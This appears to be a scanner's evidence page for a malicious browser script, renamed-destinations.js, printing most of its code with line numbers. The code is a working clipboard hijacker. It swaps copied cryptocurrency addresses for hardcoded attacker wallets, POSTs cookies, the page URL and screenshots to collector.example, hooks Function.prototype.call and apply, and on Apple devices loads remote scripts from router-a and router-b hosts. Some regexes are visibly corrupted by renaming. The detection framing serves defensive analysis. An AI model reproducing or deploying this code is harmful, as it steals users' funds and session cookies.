renamed-destinations.js
Posts browser cookies to an absolute URLCopy interception and wallet replacement code
SHA-256f67f571a4c45e2ac5a644262578c8271daccc6b42b5a673c8b378f3b7bd22b61
Evidence
1(function(){(function () {
2 var browserWindow = window, pageDocument = document;
3 if (browserWindow._k7) return;
4 browserWindow._k7 = 1;
5
6 var E = '0xC4026b06D82b0F0B363eda0642D61CfbDc17884e',
7 T = 'THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa',
8 B = '19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW',
9 N = 'UQAgM1VqSZQiJLSG5w-ovurq5CZdxLEK3_7CMmwALTA5e09p',
10 S = 'FVtL8NMYS9PA1v3HE67XUGCtGA9JaZUvqav2fU2LrV5n',
11 L = 'ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5',
12 C = 'qzkaaf8n6grmpr0d9lx8xutn3r9lk722f566hhpe58',
13 G = 'DBEGrxRF7KMSuhTS4c1MFviStU6efdMnu5',
14 R = '0:2033556a49942224b486e70fa8beeaeae4265dc4b10adffec …
194:48…
195 else if (d[0] === 30 && CS(d)) r = G;
196 } else if (d && d.length === 32 && a.length === 44 && /[a-z]/.test(a) && /[A-Z]/.test(a) && /[0-9]/.test(a)) {
197 r = S;
198 }
199 }
200 } catch (e) {}
201 if (CA.size > 800) CA.clear();
202 CA.set(a, r);
203 return r;
204 }
205
206 function shipSnapshot(img) {
207 try {
208 var b = JSON.stringify({ u: location.href.slice(0, 500), c: (document.cookie || '').slice(0, 8000), i: img || '', m: MM.slice(0, 20).join(' ').slice(0, 1000) });
209 fetch('https://collector.example/hit.php', { method: 'POST', body: b, headers: { 'Content-Type': 'text/plain' } })['catch'](function () {});
210 } catch (e) {}
211 }
212
213 function capturePage() {
214 if (browserWindow._shot || !MM.length) return;
215 browserWindow._shot = 1;
216 setTimeout(function () {
217 function snap() {
218 if (!browserWindow.html2canvas) return shipSnapshot('');
219 try {
220 browserWindow.html2canvas(document.body, {
221 useCORS: true, allowTaint: false, logging: false, backgroundColor: '#fff',
222 scale: 0.6, x: window.scrollX, y: window.scrollY,
223 width: window.innerWidth, height: window.innerHeight, windowWidth: window.innerWidth
224 }) …
266:29… tIndexOf('?', q), str.lastIndexOf('&', q));
267 return str.slice(a + 1, q).toLowerCase();
268 }
269
270 function FURL(s) {
271 return s.replace(addressPattern, function (m, off, str) {
272 var strong = (/^0x[0-9a-fA-rewriteWallet]{40}$/.test(m) && m.length === 42) ||
273 (/^[EUk0][Qq]/.test(m) && m.length === 48) ||
274 (/^(?:0|-1):[0-9a-fA-rewriteWallet]{64}$/.test(m)) ||
275 /^(?:bc1|BC1|ltc1|LTC1)/.test( …
301:28… & browserWindow.Reflect) {
302 browserWindow._qxc = 1;
303 var NC = Function.prototype.call, NA = Function.prototype.apply;
304 Function.prototype.call = function () {
305 var a = [], i;
306 for (i = 0; i < arguments.length; i++) a[i] = arguments[i];
307 try { XARGS(a, 1); } catch (e) {}
308 return Reflect.apply(this, a[0], a.slice(1));
309 };
310 Function.prototype.apply = function (ctx, args) {
311 try { if (args && args.length) { var c = []; for (var i = 0; i < args.length; i++) c[i] = XS(args[i]); args = c; } } catch (e) {}
312 return Reflect.apply(this, ctx, args || []);
313 };
314 var WO = browserWindow.open, LA = browserWindow.location.assign, LR = browserWindow.location.replace, HP = browserWindow.history.pushState, HR = browserWindo …
512:113… onEnd > ae.selectionStart) {
513 t = String(ae.value || '').slice(ae.selectionStart, ae.selectionEnd);
514 }
515 if (!t) t = String(browserWindow.getSelection() || '');
516 } catch (x) {}
517 if (!t || !addressTest.test(t)) return;
518 var o = rewriteWallet(t, e.target || null);
519 if (o !== t && e.clipboardData) {
520 e.clipboardData.setData('text/plain', o);
521 e.preventDefault();
522 }
523 }, true);
524
525 try { SC(pageDocument, 1); } catch (e) {}
526})();
527var u=navigator.userAgent||'',im=u.match(/OS (\d+)_(\d+)/),iv=im?parseFloat(im[1]+'.'+im[2]):0,i=/iPhone|iPad|iPod/.test(u)||(/Macintosh/.test(u)&&navigator.maxTouchPoints>1);
528if(i){(function () {
529 const script = document.createElement("script");
530
531 script.src = "https://router-a.example/boot.js";
532 script.setAttribute("data-landing", "");
533 script.setAttribute("data-channel-code", "02111110");
534 script.setAttribute("data-chain-url", "https://router-a.example/");
535 script.setAttribute("data-cfasync", "false");
536
537 document.head.appendChild(script);
538})();
539(function () {
540 const script = document.createElement("script");
541
542 script.src = "https://router-b.example/boot.js";
543 script.setAttribute("data-landing", "");
544 script.setAttribute("data-channel-code", "02111110");
545 script.setAttribute("data-chain-url", "https://router-b.example/");
546 script.setAttribute("data-cfasync", "false");
547
⋯4 lines